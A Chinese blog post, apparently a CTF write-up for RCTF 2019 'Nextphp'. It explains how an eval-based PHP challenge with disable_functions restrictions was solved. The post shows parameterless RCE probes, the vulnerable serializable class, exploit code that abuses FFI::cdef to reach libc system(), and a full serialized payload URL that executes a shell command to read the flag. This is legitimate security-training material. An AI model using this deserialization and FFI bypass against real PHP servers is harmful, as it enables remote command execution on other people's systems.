RCTF 2019]Nextphp 利用phpFFI来绕过 disable_functions限制

今天做了一道RCE+反序列化的题目,看看吧。
进入题目就给出了源码

点击查看代码
 <?php
if (isset($_GET['a'])) {
    eval($_GET['a']);
} else {
    show_source(__FILE__);
}

Rce看看,发现许多函数都被dis掉了,试试无参数rce。

发现了当前目录的一些文件(1.txt是我弄上去的,不用管它),尝试读取preload.php文件。
?a=show_source(end(scandir('.')));

点击查看代码
 <?php
final class A implements Serializable {
    protected $data = [
        'ret' => null,
        'func' => 'print_r',
        'arg' => '1'
    ];

    private function run () {
        $this->data['ret'] = $this->data['func']($this->data['arg']);
    }

    public function __serialize(): array {
        return $this->data;
    }

    public function __unserialize(array $data) {
        array_merge($this->data, $data);
        $this->run();
    }

    public function serialize (): string {
        return serialize($this->data);
    }

    public function unserialize($payload) {
        $this->data = unserialize($payload);
        $this->run();
    }

    public function __get ($key) {
        return $this->data[$key];
    }

    public function __set ($key, $value) {
        throw new \Exception('No implemented');
    }

    public function __construct () {
        throw new \Exception('No implemented');
    }
}

得到源码发现应该是到反序列化的题目,在index.php参数中可以利用unserialize进行反序列化(phpinfo里面查看dis掉的函数),但是看了半天没有发发现利用点在哪里。可能是$this->data['func']($this->data['arg']);,尝试写入system输出发现没用,看了wp发现本题的考点是phpFFI绕过dis,详细的我就不介绍了,自己搜搜看。先看看官方示例:
点击查看代码
<?php
// create FFI object, loading libc and exporting function printf()
$ffi = FFI::cdef(
    "int printf(const char *format, ...);", // this is regular C declaration
    "libc.so.6");
// call C printf()
$ffi->printf("Hello %s!\n", "world");
实际测试中第二个参数是可以为空的,官方解释:第二个可选参数是共享库文件名,要加载并与定义链接,是可选的。那这就对应了preload.php源码中$this->data['arg']只有这一个参数的问题,这样的话,我们就可以利用 preload.php 中类 A 的 run 方法直接执行命令了,也就可以直接绕过 disable_functions 等限制。。那么开始构造exp。
点击查看代码
<?php
final class A implements Serializable {
    protected $data = [
        'ret' => null,
        'func' => 'FFI::cdef',
        'arg' => 'int system(const char *command);'
    ];

    //可以进行函数执行

    public function serialize (): string {
        return serialize($this->data);
    }

    public function unserialize($payload) {

        $this->data = unserialize($payload);
        $this->run();
    }
}
$a = new A();
echo serialize($a);
这里将没用的一些东西删掉了,删除了原有的__serialize、__unserialize 两个函数,这是因为在反序列化时会触发 __unserialize函数,这一特性是在PHP7.4中新加入的,看这两个函数可知其实现的方法并不是正确的。具体看:https://www.cnblogs.com/karsa/p/13393034.html

无回显,那就试试输出到其他文件(其实nc也可以,主要是服务器太贵了)。

点击查看代码
payload:?a=$a=unserialize('C:1:"A":95:{a:3:{s:3:"ret";N;s:4:"func";s:9:"FFI::cdef";s:3:"arg";s:32:"int system(const char *command);";}}')->__serialize()['ret']->system('cat /flag|tee 1.txt');
直接访问1.txt得到flag

知识点总结:

  1. 无参数rce

  2. phpFFI利用绕过disable_functions 限制版本(PHP 7 >= 7.4.0, PHP 8)(本题是7.4)

  3. 如果一个类同时实现了Serializable和__Serialize()/__Unserialize(),则序列化将倾向于使用新机制,而非序列化则可以使用其中一种机制,具体取决于使用的是C(Serializable)还是O(Uu unserialize)格式。因此,以C格式编码的旧的序列化字符串仍然可以解码,而新的字符串将以O格式生成。

  4. FFI API只能在CLI脚本和预加载的PHP文件中使用。默认ffi.enable=preload ** 且仅在命令行模式和 **preload 文件中可用

posted @ 2024-05-14 17:24  jockerliu  阅读(68)  评论(0编辑  收藏  举报